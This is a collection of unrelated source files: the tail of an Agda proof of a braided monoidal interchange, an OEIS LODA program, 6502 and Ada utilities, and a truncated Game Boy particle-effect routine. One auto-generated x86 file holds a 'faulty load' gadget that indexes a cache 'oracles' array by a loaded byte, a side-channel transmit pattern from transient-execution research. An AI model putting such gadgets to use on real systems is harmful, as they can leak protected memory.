∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈˘⟨ (refl⟩∘⟨ pushʳ split₂ˡ) ⟩∘⟨refl ⟩ (α⇐ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (α⇐ ∘ σ⇒ ∘ α⇐)) ∘ α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈˘⟨ pushˡ ((refl⟩∘⟨ refl⟩∘⟨ refl⟩⊗⟨ (sym-assoc ○ hexagon₂ ○ assoc)) ⟩∘⟨refl) ⟩ ((α⇐ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ σ⇒)) ∘ α⇒) ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈⟨ pushˡ (pushʳ (pushʳ split₂ˡ)) ⟩∘⟨refl ⟩ ((α⇐ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ σ⇒ ⊗₁ id) ∘ id ⊗₁ (α⇐ ∘ id ⊗₁ σ⇒) ∘ α⇒) ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈⟨ pushʳ (pushˡ split₂ˡ) ⟩∘⟨refl ⟩ (((α⇐ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ σ⇒ ⊗₁ id) ∘ id ⊗₁ α⇐) ∘ id ⊗₁ id ⊗₁ σ⇒ ∘ α⇒) ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈⟨ ((pushˡ (pushʳ assoc-commute-to) ⟩∘⟨ ⟺ assoc-commute-from) ○ (pullʳ sym-assoc)) ⟩∘⟨refl ⟩ ((α⇐ ⊗₁ id ∘ (id ⊗₁ σ⇒) ⊗₁ id) ∘ ((α⇐ ∘ id ⊗₁ α⇐) ∘ α⇒) ∘ (id ⊗₁ id) ⊗₁ σ⇒) ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈⟨ pullˡ (⟺ split₁ˡ ⟩∘⟨ conjugate-from α (idᵢ ⊗ᵢ α ∘ᵢ α) (⟺ (assoc ○ pentagon))) ⟩∘⟨refl ⟩ (((α⇐ ∘ id ⊗₁ σ⇒) ⊗₁ id ∘ α⇒ ⊗₁ id ∘ α⇐) ∘ (id ⊗₁ id) ⊗₁ σ⇒) ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈⟨ (pullˡ (⟺ split₁ˡ) ⟩∘⟨ ⊗.identity ⟩⊗⟨refl) ⟩∘⟨refl ⟩ ((((α⇐ ∘ id ⊗₁ σ⇒) ∘ α⇒) ⊗₁ id ∘ α⇐) ∘ id ⊗₁ σ⇒) ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈⟨ extend² (⟺ serialize₂₁ ○ serialize₁₂) ⟩ ((((α⇐ ∘ id ⊗₁ σ⇒) ∘ α⇒) ⊗₁ id ∘ α⇐) ∘ σ⇒ ⊗₁ id) ∘ id ⊗₁ σ⇒ ∘ α⇐ ∘ id ⊗₁ α⇒ ≈˘⟨ pushʳ (refl⟩∘⟨ refl⟩⊗⟨ ⊗.identity) ⟩∘⟨ ⊗.identity ⟩⊗⟨refl ⟩∘⟨refl ⟩ (((α⇐ ∘ id ⊗₁ σ⇒) ∘ α⇒) ⊗₁ id ∘ α⇐ ∘ σ⇒ ⊗₁ id ⊗₁ id) ∘ (id ⊗₁ id) ⊗₁ σ⇒ ∘ α⇐ ∘ id ⊗₁ α⇒ ≈⟨ pushʳ assoc-commute-to ⟩∘⟨ extendʳ (⟺ assoc-commute-to) ⟩ ((((α⇐ ∘ id ⊗₁ σ⇒) ∘ α⇒) ⊗₁ id ∘ (σ⇒ ⊗₁ id) ⊗₁ id) ∘ α⇐) ∘ α⇐ ∘ id ⊗₁ id ⊗₁ σ⇒ ∘ id ⊗₁ α⇒ ≈˘⟨ ((sym-assoc ○ sym-assoc) ⟩⊗⟨refl ○ split₁ˡ) ⟩∘⟨refl ⟩∘⟨ refl⟩∘⟨ split₂ˡ ⟩ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ⊗₁ id) ∘ α⇐) ∘ α⇐ ∘ id ⊗₁ (id ⊗₁ σ⇒ ∘ α⇒) ≈˘⟨ extend² (sym-assoc ○ pentagon-inv) ⟩ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ⊗₁ id) ∘ α⇐ ⊗₁ id) ∘ (α⇐ ∘ id ⊗₁ α⇐) ∘ id ⊗₁ (id ⊗₁ σ⇒ ∘ α⇒) ≈˘⟨ split₁ˡ ⟩∘⟨ pushʳ split₂ˡ ⟩ ((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ∎) ⟩⊗⟨refl ⟩∘⟨refl ⟩ α⇒ ∘ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒)) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇐ ≈⟨ (refl⟩∘⟨ pushˡ ((sym-assoc ⟩⊗⟨refl) ○ split₁ˡ)) ⟩ α⇒ ∘ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ id ∘ α⇐) ⊗₁ id ∘ (id ⊗₁ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒)) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇐ ≈⟨ (refl⟩∘⟨ split₁ˡ ⟩∘⟨ extendʳ (⟺ assoc-commute-to)) ○ pushʳ assoc ⟩ (α⇒ ∘ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ id) ⊗₁ id) ∘ α⇐ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ id ⊗₁ α⇐ ≈⟨ pushˡ assoc-commute-from ⟩ ((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ (id ⊗₁ id) ∘ α⇒ ∘ α⇐ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ id ⊗₁ α⇐ ≈˘⟨ refl⟩∘⟨ pullʳ (pullʳ (refl⟩∘⟨ split₂ˡ)) ⟩ ((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ (id ⊗₁ id) ∘ (α⇒ ∘ α⇐ ⊗₁ id ∘ α⇐) ∘ id ⊗₁ ((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐) ≈˘⟨ pullʳ (pullˡ (conjugate-from (α ∘ᵢ α ⊗ᵢ idᵢ) α pentagon)) ⟩ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ (id ⊗₁ id) ∘ α⇐) ∘ id ⊗₁ α⇒ ∘ id ⊗₁ ((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐) ≈⟨ refl⟩⊗⟨ ⊗.identity ⟩∘⟨refl ⟩∘⟨ ⟺ split₂ˡ ⟩ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ id ∘ α⇐) ∘ id ⊗₁ (α⇒ ∘ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐) ≡⟨⟩ (((α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐) ⊗₁ id ∘ α⇐) ∘ id ⊗₁ j⇒ ≈˘⟨ switch-fromtoʳ α (switch-fromtoˡ α (⟺ hexagon₁)) ⟩⊗⟨refl ⟩∘⟨refl ⟩∘⟨refl ⟩ (σ⇒ ⊗₁ id ∘ α⇐) ∘ id ⊗₁ j⇒ ∎) ⟩∘⟨refl ⟩ α⇐ ∘ id ⊗₁ ((α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ id ⊗₁ j⇒) ∘ α⇒ ∘ α⇒ ≈⟨ refl⟩∘⟨ pushˡ split₂ˡ ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ id ⊗₁ id ⊗₁ j⇒ ∘ α⇒ ∘ α⇒ ≈˘⟨ pullʳ (pullʳ (extendʳ assoc-commute-from)) ⟩ (α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒) ∘ (id ⊗₁ id) ⊗₁ j⇒ ∘ α⇒ ≡⟨⟩ i⇒ ∘ (id ⊗₁ id) ⊗₁ j⇒ ∘ α⇒ ≈⟨ refl⟩∘⟨ ⊗.identity ⟩⊗⟨ ⟺ swapInner-coherent ⟩∘⟨refl ⟩ i⇒ ∘ id ⊗₁ i⇒ ∘ α⇒ ∎ private mid-1-elim-coh : [ X ⊗₀ (unit ⊗₀ Y) ⇒ X ⊗₀ Y ]⟨ λ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐ ≈ id ⊗₁ λ⇒ ⟩ mid-1-elim-coh = begin λ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐ ≈⟨ pullˡ (Kelly's.coherence₁ M) ⟩ λ⇒ ⊗₁ id ∘ σ⇒ ⊗₁ id ∘ α⇐ ≈˘⟨ pushˡ split₁ˡ ⟩ (λ⇒ ∘ σ⇒) ⊗₁ id ∘ α⇐ ≈⟨ braiding-coherence B ⟩⊗⟨refl ⟩∘⟨refl ⟩ ρ⇒ ⊗₁ id ∘ α⇐ ≈˘⟨ switch-fromtoʳ α triangle ⟩ id ⊗₁ λ⇒ ∎ Kelly₁′ : [ unit ⊗₀ (X ⊗₀ Y) ⇒ X ⊗₀ Y ]⟨ λ⇒ ⊗₁ id ∘ α⇐ ≈ λ⇒ ⟩ Kelly₁′ = ⟺ (switch-fromtoʳ α (Kelly's.coherence₁ M)) Kelly₂′ : [ X ⊗₀ (Y ⊗₀ unit) ⇒ X ⊗₀ Y ]⟨ ρ⇒ ∘ α⇐ ≈ id ⊗₁ ρ⇒ ⟩ Kelly₂′ = ⟺ (switch-fromtoʳ α (Kelly's.coherence₂ M)) σ⁻¹-coherence : [ unit ⊗₀ X ⇒ X ]⟨ ρ⇒ ∘ σ⇒ ≈ λ⇒ ⟩ σ⁻¹-coherence = inv-braiding-coherence (inv-Braided B) swapInner-unitˡ : [ unit ⊗₀ (X ⊗₀ Y) ⇒ (X ⊗₀ Y) ]⟨ λ⇐ ⊗₁ id ⇒⟨ (unit ⊗₀ unit) ⊗₀ (X ⊗₀ Y) ⟩ i⇒ ⇒⟨ (unit ⊗₀ X) ⊗₀ (unit ⊗₀ Y) ⟩ λ⇒ ⊗₁ λ⇒ ≈ λ⇒ ⟩ swapInner-unitˡ = begin λ⇒ ⊗₁ λ⇒ ∘ i⇒ ∘ λ⇐ ⊗₁ id ≈⟨ refl⟩∘⟨ swapInner-coherent ⟩∘⟨ (Kelly's.coherence-inv₃ M ⟩⊗⟨refl) ⟩ λ⇒ ⊗₁ λ⇒ ∘ j⇒ ∘ ρ⇐ ⊗₁ id ≈⟨ pullˡ (pushˡ serialize₁₂) ⟩ (λ⇒ ⊗₁ id ∘ id ⊗₁ λ⇒ ∘ α⇒ ∘ swapʳ ⊗₁ id ∘ α⇐) ∘ ρ⇐ ⊗₁ id ≈⟨ (refl⟩∘⟨ (begin id ⊗₁ λ⇒ ∘ α⇒ ∘ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐ ≈⟨ pullˡ triangle ⟩ ρ⇒ ⊗₁ id ∘ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐ ≈˘⟨ pushˡ split₁ˡ ⟩ (ρ⇒ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐ ≈⟨ (pullˡ Kelly₂′ ⟩⊗⟨refl ⟩∘⟨refl) ⟩ (id ⊗₁ ρ⇒ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐ ≈˘⟨ pushˡ split₂ˡ ⟩⊗⟨refl ⟩∘⟨refl ⟩ (id ⊗₁ (ρ⇒ ∘ σ⇒) ∘ α⇒) ⊗₁ id ∘ α⇐ ≈⟨ (refl⟩⊗⟨ σ⁻¹-coherence ⟩∘⟨refl) ⟩⊗⟨refl ⟩∘⟨refl ⟩ (id ⊗₁ λ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐ ≈⟨ triangle ⟩⊗⟨refl ⟩∘⟨refl ⟩ (ρ⇒ ⊗₁ id) ⊗₁ id ∘ α⇐ ≈˘⟨ assoc-commute-to ⟩ α⇐ ∘ ρ⇒ ⊗₁ (id ⊗₁ id) ∎)) ⟩∘⟨refl ⟩ (λ⇒ ⊗₁ id ∘ α⇐ ∘ ρ⇒ ⊗₁ (id ⊗₁ id)) ∘ ρ⇐ ⊗₁ id ≈⟨ (sym-assoc ○ (Kelly₁′ ⟩∘⟨ refl⟩⊗⟨ ⊗.identity)) ⟩∘⟨refl ⟩ (λ⇒ ∘ ρ⇒ ⊗₁ id) ∘ ρ⇐ ⊗₁ id ≈⟨ cancelʳ (_≅_.isoʳ (unitorʳ ⊗ᵢ idᵢ)) ⟩ λ⇒ ∎ swapInner-unitʳ : [ (X ⊗₀ Y) ⊗₀ unit ⇒ (X ⊗₀ Y) ]⟨ id ⊗₁ λ⇐ ⇒⟨ (X ⊗₀ Y) ⊗₀ (unit ⊗₀ unit) ⟩ i⇒ ⇒⟨ (X ⊗₀ unit) ⊗₀ (Y ⊗₀ unit) ⟩ ρ⇒ ⊗₁ ρ⇒ ≈ ρ⇒ ⟩ swapInner-unitʳ = begin ρ⇒ ⊗₁ ρ⇒ ∘ i⇒ ∘ id ⊗₁ λ⇐ ≡⟨⟩ ρ⇒ ⊗₁ ρ⇒ ∘ (α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒) ∘ id ⊗₁ λ⇐ ≈⟨ pullˡ (pushˡ serialize₂₁) ⟩ (id ⊗₁ ρ⇒ ∘ ρ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒) ∘ id ⊗₁ λ⇐ ≈⟨ (refl⟩∘⟨ (begin ρ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒ ≈˘⟨ pushˡ (switch-fromtoʳ α triangle) ⟩ id ⊗₁ λ⇒ ∘ id ⊗₁ swapˡ ∘ α⇒ ≈˘⟨ pushˡ split₂ˡ ⟩ id ⊗₁ (λ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒ ≈⟨ refl⟩⊗⟨ mid-1-elim-coh ⟩∘⟨refl ⟩ id ⊗₁ (id ⊗₁ λ⇒) ∘ α⇒ ≈˘⟨ assoc-commute-from ⟩ α⇒ ∘ (id ⊗₁ id) ⊗₁ λ⇒ ≈⟨ refl⟩∘⟨ ⊗.identity ⟩⊗⟨refl ⟩ α⇒ ∘ id ⊗₁ λ⇒ ∎)) ⟩∘⟨refl ⟩ (id ⊗₁ ρ⇒ ∘ α⇒ ∘ id ⊗₁ λ⇒) ∘ id ⊗₁ λ⇐ ≈⟨ (sym-assoc ○ (Kelly's.coherence₂ M ⟩∘⟨refl )) ⟩∘⟨refl ⟩ (ρ⇒ ∘ id ⊗₁ λ⇒) ∘ id ⊗₁ λ⇐ ≈⟨ cancelʳ (_≅_.isoʳ (idᵢ ⊗ᵢ unitorˡ)) ⟩ ρ⇒ ∎ -- Two different ways of swapping things around are the same private [23][14]ʳ : [ (X ⊗₀ Y) ⊗₀ (Z ⊗₀ W) ⇒ (Y ⊗₀ Z) ⊗₀ (X ⊗₀ W) ]⟨ α⇒ ∘ swapʳ ⊗₁ id ∘ (σ⇒ ⊗₁ id) ⊗₁ id ∘ α⇐ ≈ (α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇒ ⊗₁ id ∘ α⇐ ⟩ [23][14]ʳ = begin (α⇒ ∘ swapʳ ⊗₁ id ∘ (σ⇒ ⊗₁ id) ⊗₁ id ∘ α⇐) ≈˘⟨ refl⟩∘⟨ pushˡ split₁ˡ ⟩ (α⇒ ∘ (swapʳ ∘ σ⇒ ⊗₁ id) ⊗₁ id ∘ α⇐) ≈⟨ refl⟩∘⟨ pullʳ (assoc ○ hexagon₁) ⟩⊗⟨refl ⟩∘⟨refl ⟩ (α⇒ ∘ (α⇐ ∘ α⇒ ∘ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐) ≈⟨ refl⟩∘⟨ cancelˡ α.isoˡ ⟩⊗⟨refl ⟩∘⟨refl ⟩ (α⇒ ∘ (σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐) ≈⟨ extendʳ (pushʳ split₁ˡ) ⟩ ((α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇒ ⊗₁ id ∘ α⇐) ∎ [13][42]ˡ : [ (X ⊗₀ Y) ⊗₀ (Z ⊗₀ W) ⇒ (X ⊗₀ Z) ⊗₀ (W ⊗₀ Y) ]⟨ α⇐ ∘ id ⊗₁ (id ⊗₁ σ⇒) ∘ id ⊗₁ swapˡ ∘ α⇒ ≈ (α⇐ ∘ id ⊗₁ α⇒) ∘ id ⊗₁ σ⇒ ∘ α⇒ ⟩ [13][42]ˡ = begin α⇐ ∘ id ⊗₁ (id ⊗₁ σ⇒) ∘ id ⊗₁ swapˡ ∘ α⇒ ≈˘⟨ refl⟩∘⟨ pushˡ split₂ˡ ⟩ α⇐ ∘ id ⊗₁ (id ⊗₁ σ⇒ ∘ α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒ ≈⟨ refl⟩∘⟨ refl⟩⊗⟨ (⟺ assoc ○ (pullˡ (assoc ○ hexagon₁))) ⟩∘⟨refl ⟩ α⇐ ∘ id ⊗₁ ((α⇒ ∘ σ⇒ ∘ α⇒) ∘ α⇐) ∘ α⇒ ≈⟨ refl⟩∘⟨ refl⟩⊗⟨ pullʳ (cancelʳ α.isoʳ) ⟩∘⟨refl ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ σ⇒) ∘ α⇒ ≈⟨ extendʳ (pushʳ split₂ˡ) ⟩ (α⇐ ∘ id ⊗₁ α⇒) ∘ id ⊗₁ σ⇒ ∘ α⇒ ∎ swapInner-braiding : [ (W ⊗₀ X) ⊗₀ (Y ⊗₀ Z) ⇒ (Y ⊗₀ Z) ⊗₀ (W ⊗₀ X) ]⟨ i⇒ ⇒⟨ (W ⊗₀ Y) ⊗₀ (X ⊗₀ Z) ⟩ σ⇒ ⊗₁ σ⇒ ⇒⟨ (Y ⊗₀ W) ⊗₀ (Z ⊗₀ X) ⟩ i⇒ ≈ σ⇒ ⟩ swapInner-braiding = begin i⇒ ∘ σ⇒ ⊗₁ σ⇒ ∘ i⇒ ≡⟨⟩ i⇒ ∘ σ⇒ ⊗₁ σ⇒ ∘ α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒ ≈⟨ swapInner-coherent ⟩∘⟨ pushˡ serialize₁₂ ⟩ j⇒ ∘ σ⇒ ⊗₁ id ∘ id ⊗₁ σ⇒ ∘ α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒ ≈˘⟨ ((refl⟩∘⟨ refl⟩⊗⟨ ⊗.identity) ⟩∘⟨ ⊗.identity ⟩⊗⟨refl ⟩∘⟨refl) ○ assoc ⟩ ((α⇒ ∘ swapʳ ⊗₁ id ∘ α⇐) ∘ σ⇒ ⊗₁ (id ⊗₁ id)) ∘ (id ⊗₁ id) ⊗₁ σ⇒ ∘ α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒ ≈⟨ pullʳ (pullʳ assoc-commute-to) ⟩∘⟨ extendʳ (⟺ assoc-commute-to) ⟩ (α⇒ ∘ swapʳ ⊗₁ id ∘ (σ⇒ ⊗₁ id) ⊗₁ id ∘ α⇐) ∘ α⇐ ∘ id ⊗₁ (id ⊗₁ σ⇒) ∘ id ⊗₁ swapˡ ∘ α⇒ ≈⟨ [23][14]ʳ ⟩∘⟨ [13][42]ˡ ⟩ ((α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇒ ⊗₁ id ∘ α⇐) ∘ (α⇐ ∘ id ⊗₁ α⇒) ∘ id ⊗₁ σ⇒ ∘ α⇒ ≈˘⟨ extendʳ (pushʳ (pushʳ assoc)) ⟩ (α⇒ ∘ σ⇒ ⊗₁ id) ∘ (α⇒ ⊗₁ id ∘ (α⇐ ∘ α⇐) ∘ id ⊗₁ α⇒) ∘ id ⊗₁ σ⇒ ∘ α⇒ ≈˘⟨ refl⟩∘⟨ switch-tofromˡ (α ⊗ᵢ idᵢ) (switch-tofromʳ (idᵢ ⊗ᵢ α) pentagon-inv) ⟩∘⟨refl ⟩ (α⇒ ∘ σ⇒ ⊗₁ id) ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ ≈⟨ pullʳ (sym-assoc ○ pullˡ hexagon₂) ⟩ α⇒ ∘ ((α⇐ ∘ σ⇒) ∘ α⇐) ∘ α⇒ ≈⟨ (refl⟩∘⟨ cancelʳ α.isoˡ) ⟩ α⇒ ∘ (α⇐ ∘ σ⇒) ≈⟨ cancelˡ α.isoʳ ⟩ σ⇒ ∎ -- Braided monoidal categories have an interchange. hasInterchange : HasInterchange M hasInterchange = record { swapInner = swapInner ; natural = swapInner-natural ; assoc = swapInner-assoc ; unitˡ = swapInner-unitˡ ; unitʳ = swapInner-unitʳ } open HasInterchange hasInterchange public using (naturalIso)
oeis/187/A187915.asm
neoneye/loda-programs
11
176473
; A187915: a(n) = (1/2)*((n+2)*P(n-1)+(5*n+1)*P(n)) where P() = A000129 are the Pell numbers. ; Submitted by <NAME> ; 3,13,45,141,419,1201,3357,9209,24899,66549,176205,462917,1208163,3135449,8097597,20823921,53350531,136228445,346819437,880594813,2230476067,5637208449,14218682973,35797815913,89974587843,225790779205,565803994509,1415938252341,3539007315683,8835146000809,22033012367997,54889789955297,136613543766275,339707399681709,844010339005101,2095282591636589,5197666546043043,12884352245196881,31916935183149981,79013087466397401,195483403972459075,483355347979244693,1194485298923321037,2950283796378561061 mov $3,$0 add $0,1 mov $1,1 add $3,$0 mov $2,$3 lpb $0 sub $0,1 mov $3,$1 add $1,$2 add $1,1 add $3,$1 mov $2,$3 add $2,$0 lpe mov $0,$1
base/runtime/lcmp.asm
zbyti/Mad-Pascal
7
26903
<filename>base/runtime/lcmp.asm<gh_stars>1-10 ; long unsigned compare .proc cmpEAX_ECX lda :STACKORIGIN-1+STACKWIDTH*3,x cmp :STACKORIGIN+STACKWIDTH*3,x bne _done lda :STACKORIGIN-1+STACKWIDTH*2,x cmp :STACKORIGIN+STACKWIDTH*2,x bne _done AX_CX lda :STACKORIGIN-1+STACKWIDTH,x cmp :STACKORIGIN+STACKWIDTH,x bne _done lda :STACKORIGIN-1,x cmp :STACKORIGIN,x _done rts .endp
src/aco-utils-ds-generic_queue.ads
jonashaggstrom/ada-canopen
6
15696
generic type Item_Type is private; package ACO.Utils.DS.Generic_Queue is pragma Preelaborate; type Queue (Max_Nof_Items : Positive) is tagged limited private; type Item_Array is array (Natural range <>) of Item_Type; function Is_Full (This : Queue) return Boolean with Inline; function Is_Empty (This : Queue) return Boolean with Inline; function Length (This : Queue) return Natural with Inline; function Free_Slots (This : Queue) return Natural with Inline; procedure Put (This : in out Queue; Item : in Item_Type) with Pre => not This.Is_Full; procedure Put (This : in out Queue; Items : in Item_Array) with Pre => Items'Length <= This.Free_Slots; procedure Get (This : in out Queue; Item : out Item_Type) with Pre => not This.Is_Empty; procedure Get (This : in out Queue; Items : out Item_Array) with Pre => Items'Length <= This.Length; procedure Flush (This : in out Queue) with Post => This.Is_Empty; function Peek (This : Queue) return Item_Type with Pre => not This.Is_Empty; function Peek (This : Queue) return Item_Array with Pre => not This.Is_Empty; private subtype Index is Positive; type Queue (Max_Nof_Items : Positive) is tagged limited record Items : Item_Array (1 .. Max_Nof_Items); Next : Index := Index'First; Old : Index := Index'First; Count : Natural := 0; end record; procedure Inc (This : in Queue; I : in out Index) with Inline; end ACO.Utils.DS.Generic_Queue;
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_64_800.asm
ljhsiun2/medusa
9
6527
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %rbp push %rbx push %rcx push %rsi lea addresses_WC_ht+0x6ef6, %r8 nop nop nop nop nop and %rbx, %rbx mov $0x6162636465666768, %rsi movq %rsi, (%r8) nop nop inc %r8 lea addresses_normal_ht+0x864d, %rbp nop nop nop nop cmp $40333, %r14 vmovups (%rbp), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbx nop nop inc %rbx lea addresses_WC_ht+0x19f66, %r10 nop nop sub %rcx, %rcx mov $0x6162636465666768, %r14 movq %r14, %xmm4 vmovups %ymm4, (%r10) nop nop cmp $60595, %rcx lea addresses_normal_ht+0x1eef6, %rbp nop nop nop nop sub %r14, %r14 vmovups (%rbp), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rbx sub %rcx, %rcx lea addresses_A_ht+0x8ef6, %rcx nop nop nop nop nop add $51417, %rbx and $0xffffffffffffffc0, %rcx movaps (%rcx), %xmm3 vpextrq $0, %xmm3, %rbp nop nop nop nop nop dec %r14 pop %rsi pop %rcx pop %rbx pop %rbp pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %rbp push %rbx push %rdi // Faulty Load lea addresses_D+0x19af6, %r10 nop nop nop nop nop and $53761, %rbx movb (%r10), %r11b lea oracles, %r14 and $0xff, %r11 shlq $12, %r11 mov (%r14,%r11,1), %r11 pop %rdi pop %rbx pop %rbp pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} {'36': 64} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
src/game_level/particle_effects_manager.asm
TypeDefinition/NautiBuoy
2
80308
<reponame>TypeDefinition/NautiBuoy INCLUDE "./src/include/entities.inc" INCLUDE "./src/definitions/definitions.inc" DEF PARTICLE_EFFECT_NO EQU 6 SECTION "Particle Effect Data", WRAM0 wParticleEffectsData:: dstruct ParticleEffect, wParticleEffect0 dstruct ParticleEffect, wParticleEffect1 dstruct ParticleEffect, wParticleEffect2 dstruct ParticleEffect, wParticleEffect3 dstruct ParticleEffect, wParticleEffect4 dstruct ParticleEffect, wParticleEffect5 wParticleEffectsDataEnd:: SECTION "Particle Effects Manager", ROM0 /* Init particle Effect Data */ InitParticleEffects:: ld hl, wParticleEffectsData ld b, PARTICLE_EFFECT_NO .startLoop xor a ld [hl], a ; just make it inactive ld de, sizeof_ParticleEffect add hl, de dec b jr nz, .startLoop .endLoop ret /* Spawn particle effect, look for particle effects that are available Parameters: - d: y pos - e: x pos - b: type of effect - c: time before effect despawn Register change: - af - bc - de - hl */ SpawnParticleEffect:: ld hl, wParticleEffectsData ld a, PARTICLE_EFFECT_NO push bc ; PUSH BC = type of effect and time push de ; PUSH DE = pos Y and X ld b, a ld de, sizeof_ParticleEffect .startLoop ; b = counter, hl = particle effect address ld a, [hl] and a, a ; check if alive jr z, .endLoop ; not alive can end loop ; GO TO NEXT LOOP add hl, de dec b jr nz, .startLoop pop de ; POP de = pos Y and X pop bc ; POP BC = type of effect and time ret ; no effects .endLoop pop de ; POP de = pos Y and X pop bc ; POP BC = type of effect and time ld a, b ld b, 